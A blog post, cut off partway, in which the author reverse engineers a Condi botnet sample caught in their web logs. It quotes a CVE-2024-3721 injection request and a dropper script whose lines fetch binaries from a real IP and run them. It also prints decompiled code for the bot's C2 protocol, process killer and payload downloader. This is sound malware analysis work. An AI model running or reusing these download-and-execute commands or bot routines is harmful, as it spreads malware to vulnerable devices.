Intro#
I run a website and periodically I’ll go check my web logs for any fun or interesting entries. Most of the time it’s someone wasting EC2 credits running FFuF against the entire internet, but every once in a while there’ll be someone trying to exploit a known vulnerability to download some of their malware.
These requests typically look like:
1
2
| POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20sora.arm7%3B%20wget%20http%3A%2F%2F176.65.139.64%2Fbins%2Fsora.arm7%3B%20chmod%20777%20%2A%3B%20.%2Fsora.arm7%20tbk
HTTP/1.1 301 1031 "-" "Mozila/5.0"
|
The core command is pretty standard.
1
2
3
4
5
| cd /tmp
rm sora.arm7
wget http://176.65.139.64/bins/sora.arm7
chmod 777 *
./sora.arm7 tbk
|
There’s a command to download and a command to run, often with an argument appended that serves as the malware’s ‘id’ which tells the author how their malware is propagating.
In this case, the vulnerability leveraged is CVE-2024-3721, which affects TBK DVR-4104/DVR-4216 devices. Therefore, the ID is ’tbk’.
The endpoints for these servers often go down within a day or two of hitting your server (the one above was down as of writing this) so there’s a very small gap to grab these files if you want to play around with them. Occasionally I get lucky and the server’s still up when I query it, in which case I add it to my personal collection of samples.
Right now I have 8 different samples that I’ve done nothing with, but I wanted to sharpen up my reverse engineering skills and take a crack at one of them. I picked at random and ended up with “jack5tr” which was the name of the shell script it tried to download and execute.
jack5tr#
NOTE: I went into this blind in order to sharpen my own skills and get a deeper feel for how this kind of malware works. There’s typically someone else who’s already picked apart a piece of malware, but it turns out that in this particular case, there are a lot of resources (including source code) for this piece of malware that I didn’t find out about until after I finished my reversing. If you would like to be spoiled, feel free to jump to the Spoilers section.
In the shell script it contains these lines:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| #!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.20.102.84/x86; curl -O http://103.20.102.84/x86;cat x86 >RUN;chmod +x *;./RUN
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.20.102.84/mips; curl -O http://103.20.102.84/mips;cat mips >RUN;chmod +x *;./RUN
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.20.102.84/arc; curl -O http://103.20.102.84/arc;cat arc >RUN;chmod +x *;./RUN
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.20.102.84/x86_64; curl -O http://103.20.102.84/x86_64;cat x86_64 >RUN;chmod +x *;./RUN
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.20.102.84/mpsl; curl -O http://103.20.102.84/mpsl;cat mpsl >RUN;chmod +x *;./RUN
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.20.102.84/arm; curl -O http://103.20.102.84/arm;cat arm >RUN;chmod +x *;./RUN
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.20.102.84/arm5; curl -O http://103.20.102.84/arm5;cat arm5 >RUN;chmod +x *;./RUN
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.20.102.84/arm6; curl -O http://103.20.102.84/arm6;cat arm6 >RUN;chmod +x *;./RUN
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.20.102.84/arm7; curl -O http://103.20.102.84/arm7;cat arm7 >RUN;chmod +x *;./RUN
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.20.102.84/ppc; curl -O http://103.20.102.84/ppc;cat ppc >RUN;chmod +x *;./RUN
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.20.102.84/spc; curl -O http://103.20.102.84/spc;cat spc >RUN;chmod +x *;./RUN
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.20.102.84/m68k; curl -O http://103.20.102.84/m68k;cat m68k >RUN;chmod +x *;./RUN
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.20.102.84/sh4; curl -O http://103.20.102.84/sh4;cat sh4 >RUN;chmod +x *;./RUN
|
Most of these internet scanner campaigns are fairly smash-and-grab, no precision or tact required, just exploit and dump everything. Here we download a binary for just about every single architecture, save it to a file called RUN and attempt to execute it. When I pulled the files, I only downloaded the x86 version, so that’s the one we’ll be reversing.
First thing to do is get a lay of the land, see what this binary is and what it (probably) does. I like to run file and strings since these prep me on what to look for.
1
2
| $> file x86
x86: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), statically linked, stripped
|
x86 ELF, as expected. Stripped and statically linked so there’ll be a lot to sift through. The whole binary is 92kB, so fairly large, there is probably a whole libc in there.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
| $> strings x86
PTRh
~~~[Truncated junk data]~~~
QVh`
GET /
HEAD /
POST /
HTTP/1.1 404 Not Found
Server: Apache
Content-Length:
HTTP/1.1 200 OK
m68k
/proc
/proc/%d/exe
/proc/%s/status
Name:
/bin/busybox
/bin/systemd
/usr/bin
test
/tmp/condi
/tmp/zxcr9999
/tmp/condinetwork
/var/condibot
/var/zxcr9999
/var/CondiBot
/var/condinet
/bin/watchdog
.x86
.x86_64
.arm
.arm5
.arm6
.arm7
.mips
.mipsel
.sh4
.ppc
[killer] Failed to create child process.
ping
webserv
CoondiiNeett %s:%d
trytocrack
kworker
M]EM@M][]
XGKZ@OCJJ@]
MAC.
JA@K
GET /%s HTTP/1.0
User-Agent: Update v1.0
(nil)
(null)
hlLjztqZ
npxXoudifFeEgGaACScs
+0-#'I
Unknown error
~~~[Truncated error strings]~~~
L(knN
Ainf
hlLjztq
npxXoudifFeEgGaACSncs[
(nil)
nfinity
clntudp_create: out of memory
xdr_string: out of memory
xdr_bytes: out of memory
infinity
__get_myaddress: socket
__get_myaddress: ioctl (get interface configuration)
__get_myaddress: ioctl
Cannot register service
%s%s%m
.shstrtab
.init
.text
.fini
.rodata
.ctors
.dtors
.data
.bss
|
Standard stuff, but wait, why aren’t we seeing any references to this ‘jack5tr’? Turns out this is actually a malware sample from the Condi botnet (which is secretly a modified version of a more popular botnet which I’ll discuss later). There’s also some path references and a ‘killer’ service which we’ll keep an eye out for. Beyond that, we’ll have to load up an RE tool.
I used Ghidra, but I’m sure IDA or Binary Ninja will do just as well. My Ghidra Project is available here if you would like to review my work or follow along.
I’m not going to go step-by-step in my decompilation process since it would take a fairly long time, but a few helpful notes in case you decide to do so:
- Ghidra hates it when $ESP gets modified by anything other than an ADD/SUB with an immediate, so there’s a few functions where you have to NOP and manually patch so that Ghidra’s decompiler doesn’t freak out. Notably,
main() starts with an AND ESP, 0xfffffff0 instruction (for stack alignment purposes) which causes Ghidra to assume $ESP is lost. Replacing this instruction with NOP fixes this. - Double-check function calling convention, since this can also throw Ghidra off.
- x86 is not x86_64, they are different and a lot of my early troubles were because I incorrectly assumed some x86_64 feature must also be the same on x86. Use your Intel reference book and
man pages, they will help immensely. - Search for all
INT 0x80 instructions and use the x86 Linux syscall table to name them and set their types, this will help identify most of the other functions that use them.
It took me a week straight of working on this to get it in the state it is now, and I’ll detail each part of the execution process and what it does below. All the variables/functions I refer to are based on the names I gave them in my Ghidra project.
Condi#
The program starts at int main (int argc, char *argv[]) and begins setting up the program. The first thing it does is call getDNS() and save this to an global variable. getDNS() creates a UDP socket and connects to 103.20.102.84:53, calls getsockname() on the socket and then closes it. The function then returns the IP address in the sockaddr_in object.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| in_addr getDNS(void)
{
int *piVar1;
int sockfd;
sockaddr_in *addr;
socklen_t *addrlen;
undefined4 uVar2;
sockaddr_in sa;
socklen_t sockaddr_len;
sockaddr_len = 16;
piVar1 = get_errno_ref();
*piVar1 = 0;
sockfd = socket(AF_INET,SOCK_DGRAM,0);
sa.sin_addr.s_addr = 0;
if (sockfd != -1) {
addr = &sa;
sa.sin_family = AF_INET;
/* Address: 0x67146654
0x67.0x14.0x66.0x54
103.20.102.84 */
sa.sin_addr.s_addr = 0x54661467;
/* port: 53 */
sa.sin_port = 0x3500;
uVar2 = 0;
connect_w(sockfd,addr,16);
addrlen = &sockaddr_len;
getsockname(sockfd,(sockaddr *)addr,addrlen);
close_w(sockfd,addr,addrlen,uVar2);
}
return (in_addr)sa.sin_addr.s_addr;
}
|
Back in main, loadData() is used to load XOR-encrypted strings into their global variables. It stores two strings at offsets 1 and 2. The first is the URL of the C2 server and the second is a simple message string. After loadData(), the program switches a global variable function pointer to the genRandomEndpoint() function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| void loadData(void)
{
char *buf;
buf = malloc(0x1a);
strncpy(buf,"M]EM@M][]",26);
encData[1].length = 26;
encData[1].data = buf;
buf = malloc(6);
strncpy(buf,"JA@K",6);
encData[2].data = buf;
encData[2].length = 6;
return;
}
|
Next we call genCookies(), which is effectively srand(), and then zero out another global variable before copying argv[1] to it (if it exists, otherwise, copy “h” to it). This is the ID I mentioned earlier and will be used when it communicates with the server.
1
2
3
4
5
6
7
8
9
10
| genCookies();
zero(arg1,0x20);
if ((argc == 2) && (lenOfArg1 = strlen_o(argv[1]), lenOfArg1 < 32)) {
strcpy(arg1,argv[1]);
lenOfArg1 = strlen_o(argv[1]);
zero(argv[1],lenOfArg1);
}
else {
strcpy(arg1,"h");
}
|
The program then sets its process name to “kworker” and decrypts the 2nd string. The decrypt() function uses a XOR key that is functionally a single byte 0x2e. Knowing this, we can decrypt the strings. The first decrypts to “cskcncsus.vietnamddns.com” and the second “done.”. It prints the “done.” string and re-encrypts it, then calls sched_yield().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| void decrypt2(uint index)
{
byte third;
uint offset;
int i;
int plus1;
dataBlock *currentBlock;
char key [4];
key = xorKey;
offset = index & 0xff;
currentBlock = encData + offset;
if (encData[offset].length != 0) {
third = xorKey[3];
i = 0;
do {
/* equivalent to data[i] ^ 0x2e */
currentBlock->data[i] = currentBlock->data[i] ^ key[0];
currentBlock->data[i] = currentBlock->data[i] ^ key[1];
currentBlock->data[i] = currentBlock->data[i] ^ key[2];
plus1 = i + 1;
currentBlock->data[i] = currentBlock->data[i] ^ third;
i = plus1;
} while (plus1 < (int)(*(uint *)&encData[offset].length & 0xffff));
}
return;
}
# --- In Main ---
strcpy(*argv,kworker);
prctrl(PR_SET_NAME,kworker,sockFlags,lenOfTryToCrack);
decrypt2(2);
data2 = getData(2,&dataLen);
write_wrapper(1,data2,dataLen);
write_wrapper(1,"\n",1);
decrypt2(2);
sched_yield();
|
At multiple points the program calls fork() for various reasons, some useful some not. The first call causes the parent to immediately return, leaving the child to continue execution. Then it sets a new sid with setsid() and saves it to a global variable.
1
2
3
4
5
6
| lenOfArg1 = custom_fork();
/* return if parent */
if (0 < lenOfArg1) {
return 0;
}
sessionID = setsid();
|
It closes stdout, stderr, and stdin, then calls a command_init() function which assigns a function and an number to an environment. There are seven and they make up the functionality of the botnet and its attacks.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| undefined4 command_init(void)
{
handler_func *func;
uint count;
func = (handler_func *)calloc(1,8);
func[4] = (code)0x0;
*(code **)func = command_0;
commands = realloc(commands,(uint)command_count * 4 + 4);
count = (uint)command_count;
command_count = command_count + 1;
(&commands->handler_func)[count] = func;
func = (handler_func *)calloc(1,8);
func[4] = (code)0x1;
*(code **)func = command_1;
commands = realloc(commands,(uint)command_count * 4 + 4);
count = (uint)command_count;
command_count = command_count + 1;
(&commands->handler_func)[count] = func;
# --- Repeats up to func[4] = (code)0x7 ---
|
Once it’s initialized the command list, it starts the first of its services, the “killer” service we saw in the strings output. It creates a child process and stores that PID in a global variable, then enters a while(true) loop which repeatedly spawns another child process to call kill_old_and_problematic() every 10 seconds, and the parent will call kill_other_malware().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| void startKiller(void)
{
int iVar1;
killer_pid = custom_fork();
if (killer_pid != 0) {
return;
}
while( true ) {
iVar1 = custom_fork();
if (iVar1 == 0) break;
if (iVar1 < 1) {
print("[killer] Failed to create child process.");
}
else {
/* child */
kill_old_and_problematic();
}
sleep(10);
}
/* parent */
kill_other_malware();
/* WARNING: Subroutine does not return */
exit(0);
}
|
The kill_old_and_problematic() uses the procfs /proc/{PID}/status file to read every process’ Name: attribute and then compares it against a series of strings. Based on these strings, I believe that this function aims to kill old versions of the Condi botnet, as well as other processes which could interfere with it. These could all be old names for the malware, but watchdog and systemd both can cause issues for this type of malware, the former potentially killing the process, and the latter being responsible for system shutdowns and reboots. This causes issues for the malware because there is no persistence mechanism. It always writes its binary to /tmp and never attempts to install itself to any startup locations. This makes sense, but this function doesn’t do a good job at any of these things. First, the Name field doesn’t store absolute paths like the ones it’s looking for, it only stores the process name (like cat or systemd, never /bin/cat or /bin/systemd). It also only kills the process, it doesn’t delete the file, which in turn doesn’t prevent these services from starting back up on a schedule.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
| /* kills:
/bin/busybox
/bin/systemd
/usr/bin
test
/tmp/condi
/tmp/zxcr9999
/tmp/condinetwork
/var/condibot
/var/zxcr9999
/var/CondiBot
/var/condinet
/bin/watchdog */
void kill_old_and_problematic(void)
{
DIR *dir;
dirent *current;
int pid;
FILE *statusFile;
int counter;
undefined4 extraout_EDX;
char statusPath [512];
char buf [256];
char line [6];
char local_10a [250];
char *pFVar7;
bool match;
char *str1;
char *str2;
dir = opendir("/proc");
if (dir != (DIR *)0x0) {
top:
current = readdir(dir);
if (current != (dirent *)0x0) {
while (current->d_type == DT_DIR) {
pid = atoi(current->d_name);
if (pid < 1) break;
snprintf(statusPath,0x200,"/proc/%s/status",current->d_name);
statusFile = fopen(statusPath,"r");
if (statusFile == (FILE *)0x0) break;
buf[0] = '\0';
replace(buf + 1,'\0',255);
do {
str1 = fgets(line,256,statusFile);
if (str1 == (char *)0x0) {
match = true;
goto proc_stuff;
}
/* strcmp(line, "Name:") */
counter = 5;
match = false;
str1 = line;
str2 = "Name:";
do {
if (counter == 0) break;
counter = counter + -1;
match = *str1 == *str2;
str1 = str1 + 1;
str2 = str2 + 1;
} while (match);
/* stop once we reach "Name" line */
} while (!match);
sprintf(local_10a,"%s",buf,extraout_EDX);
match = &stack0x00000000 == (undefined1 *)0x41c;
proc_stuff:
counter = 0xd;
str1 = buf;
str2 = "/bin/busybox";
do {
if (counter == 0) break;
counter = counter + -1;
match = *str1 == *str2;
str1 = str1 + 1;
str2 = str2 + 1;
} while (match);
if (match) {
kill_and_exit:
kill(pid,9);
fclose(statusFile);
goto cleanup;
}
counter = 0xd;
match = false;
str1 = buf;
str2 = "/bin/systemd";
do {
if (counter == 0) break;
counter = counter + -1;
match = *str1 == *str2;
str1 = str1 + 1;
str2 = str2 + 1;
} while (match);
if (match) goto kill_and_exit;
counter = 9;
match = false;
str1 = buf;
str2 = "/usr/bin";
do {
if (counter == 0) break;
counter = counter + -1;
match = *str1 == *str2;
str1 = str1 + 1;
str2 = str2 + 1;
} while (match);
if (match) goto kill_and_exit;
counter = 5;
match = false;
str1 = buf;
str2 = "test";
do {
if (counter == 0) break;
counter = counter + -1;
match = *str1 == *str2;
str1 = str1 + 1;
str2 = str2 + 1;
} while (match);
if (match) goto kill_and_exit;
counter = 0xb;
match = false;
str1 = buf;
str2 = "/tmp/condi";
do {
if (counter == 0) break;
counter = counter + -1;
match = *str1 == *str2;
str1 = str1 + 1;
str2 = str2 + 1;
} while (match);
if (match) goto kill_and_exit;
counter = 0xe;
match = false;
str1 = buf;
str2 = "/tmp/zxcr9999";
do {
if (counter == 0) break;
counter = counter + -1;
match = *str1 == *str2;
str1 = str1 + 1;
str2 = str2 + 1;
} while (match);
if (match) goto kill_and_exit;
counter = 0x12;
match = false;
str1 = buf;
str2 = "/tmp/condinetwork";
do {
if (counter == 0) break;
counter = counter + -1;
match = *str1 == *str2;
str1 = str1 + 1;
str2 = str2 + 1;
} while (match);
if (match) goto kill_and_exit;
counter = 0xe;
match = false;
str1 = buf;
str2 = "/var/condibot";
do {
if (counter == 0) break;
counter = counter + -1;
match = *str1 == *str2;
str1 = str1 + 1;
str2 = str2 + 1;
} while (match);
if (match) goto kill_and_exit;
counter = 0xe;
match = false;
str1 = buf;
str2 = "/var/zxcr9999";
do {
if (counter == 0) break;
counter = counter + -1;
match = *str1 == *str2;
str1 = str1 + 1;
str2 = str2 + 1;
} while (match);
if (match) goto kill_and_exit;
counter = 0xe;
match = false;
str1 = buf;
str2 = "/var/CondiBot";
do {
if (counter == 0) break;
counter = counter + -1;
match = *str1 == *str2;
str1 = str1 + 1;
str2 = str2 + 1;
} while (match);
if (match) goto kill_and_exit;
counter = 0xe;
match = false;
str1 = buf;
str2 = "/var/condinet";
do {
if (counter == 0) break;
counter = counter + -1;
match = *str1 == *str2;
str1 = str1 + 1;
str2 = str2 + 1;
} while (match);
if (match) goto kill_and_exit;
counter = 0xe;
match = false;
str1 = buf;
str2 = "/bin/watchdog";
do {
if (counter == 0) break;
counter = counter + -1;
match = *str1 == *str2;
str1 = str1 + 1;
str2 = str2 + 1;
} while (match);
if (match) goto kill_and_exit;
fclose(statusFile);
current = readdir(dir);
if (current == (dirent *)0x0) goto cleanup;
}
goto top;
}
cleanup:
closedir(dir);
sleep(5);
}
return;
}
|
The other function, kill_other_malware() is a little more simple, but it also uses the procfs to do its job. This one scans all the /proc/{pid}/exe paths, which automatically symlink to the running process’ absolute path. A readlink() call can resolve these symlinks, and then it simply finds the last ‘.’ character in the path before checking the string after this character against another list of strings. This list is all the architectures that we saw in the original shell script, and is fairly common amongst a lot of similar botnets. This one renames itself to RUN before executing and none of its dropped files have a ‘.’ in them, but a lot of other botnets will call their payloads something like .x86 or Condi.x86, so this function does a good job at checking for other competing forms of malware and killing those off (no honor among thieves I suppose?).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
| /* blacklist:
.x86
.x86_64
.arm
.arm5
.arm6
.arm7
.mips
.mipsel
.sh4
.ppc */
void kill_other_malware(void)
{
DIR *dir;
dirent *currentDir;
int pid;
char *processName;
int iVar1;
char **of;
char **cur;
undefined8 uVar2;
char fullPathName [1024];
char pathBuf [1024];
char *files [10];
of = orig_filenames;
cur = files;
for (pid = 10; pid != 0; pid = pid + -1) {
*cur = *of;
of = of + 1;
cur = cur + 1;
}
do {
dir = opendir("/proc");
if (dir == (DIR *)0x0) {
return;
}
repeat:
currentDir = readdir(dir);
if (currentDir != (dirent *)0x0) {
while ((currentDir->d_type == DT_DIR && (pid = atoi(currentDir->d_name), pid != 0))) {
snprintf(pathBuf,0x400,"/proc/%d/exe",pid);
uVar2 = readlink(pathBuf,fullPathName,1023);
if ((int)uVar2 == -1) break;
fullPathName[(int)uVar2] = '\0';
processName = strrchr(fullPathName,'.');
if ((processName == (char *)0x0) ||
((((((iVar1 = strcmp(processName,files[0]), iVar1 != 0 &&
(iVar1 = strcmp(processName,files[1]), iVar1 != 0)) &&
(iVar1 = strcmp(processName,files[2]), iVar1 != 0)) &&
((iVar1 = strcmp(processName,files[3]), iVar1 != 0 &&
(iVar1 = strcmp(processName,files[4]), iVar1 != 0)))) &&
((iVar1 = strcmp(processName,files[5]), iVar1 != 0 &&
((iVar1 = strcmp(processName,files[6]), iVar1 != 0 &&
(iVar1 = strcmp(processName,files[7]), iVar1 != 0)))))) &&
((iVar1 = strcmp(processName,files[8]), iVar1 != 0 &&
(iVar1 = strcmp(processName,files[9]), iVar1 != 0)))))) break;
kill(pid,SIGKILL);
currentDir = readdir(dir);
if (currentDir == (dirent *)0x0) goto clean_exit;
}
goto repeat;
}
clean_exit:
closedir(dir);
sleep(5);
} while( true );
}
|
Once the killer has been activated, it’s done prepping itself and now enters the “main loop” where it will connect to and receive instructions from the C2 server. I won’t go through it piece-by-piece since it’s kinda ugly, but I’ll be sure to highlight the important sections.
Naturally, the first thing this loop checks is if it has a socket (and thus a connection to C2). It keeps this information in yet another global variable that is initially -1. If a connection has not yet been established, it generates an endpoint and connects to it.
1
2
3
4
5
6
7
8
9
10
11
12
| /* create socket for endpoint connection */
if ((sock == -1) && (sock = socket(AF_INET,SOCK_STREAM,0), sock != -1)) {
sockFlags = fcntl_w(sock,F_GETFL,0);
fcntl_w(sock,F_SETFL,sockFlags | O_NONBLOCK);
if (PTR_getDNS_0805a054 != (undefined *)0x0) {
/* resolve DNS to ip and randomly select one */
(*(code *)PTR_getDNS_0805a054)();
}
canSend = true;
/* establish connection */
connect_w(sock,&endpoint,16);
}
|
The weird PTR call is a strange tiny bit of “obfuscation”, it’s initially set to the getDNS() function, but then gets set to the genRandomEndpoint() function. This function decrypts the first encrypted string “cskcncsus.vietnamddns.com” and requests a series of IPs from Google’s 8.8.8.8 DNS server. It picks an IP at random then sets the endpoint variable to the IP it chose.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| undefined4 genRandomEndpoint(void)
{
char *endpointUrl;
uint seed;
undefined4 uStack_c;
int *ips;
endpoint.sin_family = 2;
decrypt2(1);
endpointUrl = (char *)getData(1,(int *)0x0);
endpointDNSEntry = resolve_host(endpointUrl);
decrypt2(1);
if (endpointDNSEntry != (dns *)0x0) {
ips = endpointDNSEntry->ips;
endpoint.sin_family = AF_INET;
seed = rand();
endpoint.sin_port = 985;
endpoint.sin_addr.s_addr = ips[seed % (uint)(byte)endpointDNSEntry->count];
free_dns(endpointDNSEntry);
}
return uStack_c;
}
|
Once it establishes a connection, it calls select() with a 10s timeout and will repeat the cycle until the socket FD is ready. Once it is, it sends two null-bytes over the wire followed by “3f\x99” + length_of_arg1 + arg1. arg1 is that ID that is probably used by the author to check propagation methods. This is also the end of a while(true) loop which will reset until we’ve sent this message (or an error occurs, in which we’ll close the socket and start from the beginning).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| if (canSend == false) goto receive;
sockError = (void *)0x0;
sockLen = 4;
getsockopt(sock,SOL_SOCKET,SO_ERROR,&sockError,&sockLen);
if (sockError != (void *)0x0) goto close_and_reset;
dnsAddress.s_addr = getDNS();
lenOfArg1 = strlen_o(arg1);
msg[0] = (char)lenOfArg1;
zero(wakeupMsg,0x40);
/* 3f\x99 */
strncpy(wakeupMsg,s_3f_08057b6a,3);
strncpy(wakeupMsg + 3,msg,2);
strncpy(wakeupMsg + 4,arg1,(uint)(byte)msg[0]);
send_w(sock,wakeupMsg,(byte)msg[0] + 4,MSG_NOSIGNAL);
zero(wakeupMsg,0x40);
|
Once it has sent its wakeup message and properly setup a socket, it continues to the receive portion where it will receive up to 1024 bytes from the C2. It does error handling before checking the first 3 bytes of the message against a series of codes, following this check:
- \x99f3: Ping (client responds with “f\x99f\x05\x00ping”)
- \x99ff: Terminate the application
- 3f\x99: Respond with “CoondiiNeett webserv:{listenerPort}”
- 3f3: Download all* of the malware binaries from the server. (*it forgets x86, funnily enough)
- 3ff: Start a fileserver serving the malware binaries over listenerPort
- ff\x99: Turn on a toggle that is unused.
- For all other combinations, pass the message to the
attack_handler() function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
| receive:
if ((sock == -1) ||
((write_fds[((int)(sock & 0x1fU) >> 3) + ((uint)sock >> 5) * 4 + -0x80] >> (sock & 7U) & 1) ==
0)) goto main_loop;
errno = get_errno_ref();
*errno = 0;
bytesRecv = recv_w(sock,(messageStruct *)recvBuf,0x400,MSG_NOSIGNAL);
if (bytesRecv < 1) {
if ((*errno != EAGAIN) && (*errno != EINTR)) {
close_and_reset:
if (sock != -1) {
close_w(sock);
}
wait_and_reset:
sock = -1;
sockFlags = rand();
sleep(sockFlags % 10 + 1);
}
goto main_loop;
}
if (recvBuf[0] == -0x67) {
if (recvBuf[1] == 'f') {
/* \x99f3: Ping */
if (recvBuf[2] == '3') {
pingLen = strlen_o("ping");
msg[0] = (char)pingLen;
zero(pingMsg,0x40);
/* f\x99f */
strncpy(pingMsg,&DAT_08057b73,3);
strncpy(pingMsg + 3,msg,2);
strncpy(pingMsg + 4,"ping",(uint)(byte)msg[0]);
send_w(sock,pingMsg,(byte)msg[0] + 4,MSG_NOSIGNAL);
}
else {
/* \x99ff: Terminate */
if (recvBuf[2] == 'f') {
if (shouldTerminate != 0) {
shouldExit = 1;
close_w(negOne);
close_w(sock);
kill_self:
kill(-sessionID,9);
/* WARNING: Subroutine does not return */
exit_w(0);
}
shouldTerminate = 1;
goto main_loop;
}
}
goto zero_and_reset;
}
}
else if (recvBuf[0] == '3') {
if (recvBuf[1] == 'f') {
/* 3f\x99 */
if (recvBuf[2] == -0x67) {
if (canExecute != 1) goto zero_and_reset;
sprintf(wakeupMsg,"CoondiiNeett %s:%d","webserv",listenerPort);
cnLen = strlen_o(wakeupMsg);
msg[0] = (char)cnLen;
zero(pingMsg,0x40);
/* f\x99f */
strncpy(pingMsg,&DAT_08057b73,3);
strncpy(pingMsg + 3,msg,2);
strncpy(pingMsg + 4,wakeupMsg,(uint)(byte)msg[0]);
send_w(sock,pingMsg,(byte)msg[0] + 4,0x4000);
zero(pingMsg,0x40);
}
/* 3f3 */
if (recvBuf[2] == '3') {
if (canExecute != 1) goto zero_and_reset;
pull_file_from_remote("arm");
pull_file_from_remote("arm7");
pull_file_from_remote("mips");
pull_file_from_remote("mipsel");
pull_file_from_remote("x86_64");
pull_file_from_remote("sh4");
pull_file_from_remote("ppc");
pull_file_from_remote("m68k");
}
/* 3ff */
if ((recvBuf[2] == 'f') && (canExecute != 1)) {
sockFlags = rand();
/* [1024, 65534] */
listenerPort = sockFlags % 64511 + 1024;
start_fileserver((short)listenerPort);
canExecute = 1;
}
goto zero_and_reset;
}
}
else if ((recvBuf[0] == 'f') && (recvBuf[1] == 'f')) {
/* ff\x99 */
if (recvBuf[2] == -0x67) {
weirdToggle = 1;
}
goto zero_and_reset;
}
/* any other 'command' */
attack_handler((messageStruct *)recvBuf,bytesRecv);
zero_and_reset:
zero(recvBuf,0x400);
goto main_loop;
}
|
pull_file_from_remote() makes a fairly standard GET request to the same 103.20.102.84 IP we saw earlier for each file specified in its first argument. It’s available below but isn’t too interesting except for its User-Agent.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
| void pull_file_from_remote(char *str)
{
int sockfd;
int ret;
int fileHandle;
int requestLen;
uint nBytes;
int bytesRead;
undefined4 extraout_ECX;
undefined4 extraout_ECX_00;
undefined4 extraout_ECX_01;
undefined4 uVar1;
undefined4 extraout_EDX;
uint requestLen2;
undefined4 extraout_EDX_00;
undefined8 bytesDownloaded;
char readBuf [128];
char getRequest [64];
sockaddr_in sa;
char readByte;
char cur;
sprintf(getRequest,"GET /%s HTTP/1.0\r\nUser-Agent: Update v1.0\r\n\r\n",str);
remove(str);
sockfd = socket(AF_INET,SOCK_STREAM,0);
/* 103.20.102.84 */
sa.sin_addr.s_addr = 0x54661467;
sa.sin_family = AF_INET;
sa.sin_port = 20480;
ret = connect_w(sockfd,&sa,0x10);
if (-1 < ret) {
fileHandle = open_w(str,0b0000001001000001,0x1ff,extraout_ECX);
uVar1 = extraout_EDX;
if (fileHandle == -1) {
close_w(sockfd);
uVar1 = extraout_EDX_00;
}
requestLen = 0;
cur = getRequest[0];
while (cur != '\0') {
requestLen = requestLen + 1;
cur = getRequest[requestLen];
}
nBytes = write_wrapper(sockfd,getRequest,requestLen,uVar1);
requestLen2 = 0;
while (getRequest[0] != '\0') {
requestLen2 = requestLen2 + 1;
getRequest[0] = getRequest[requestLen2];
}
if (requestLen2 == nBytes) {
requestLen2 = 0;
while (bytesRead = read_w(sockfd,&readByte,1,nBytes), bytesRead == 1) {
nBytes = (uint)readByte;
requestLen2 = requestLen2 << 8 | nBytes;
if (requestLen2 == 0xd0a0d0a) {
uVar1 = extraout_ECX_00;
while (bytesDownloaded = read_w(sockfd,readBuf,0x80,uVar1), 0 < (int)bytesDownloaded) {
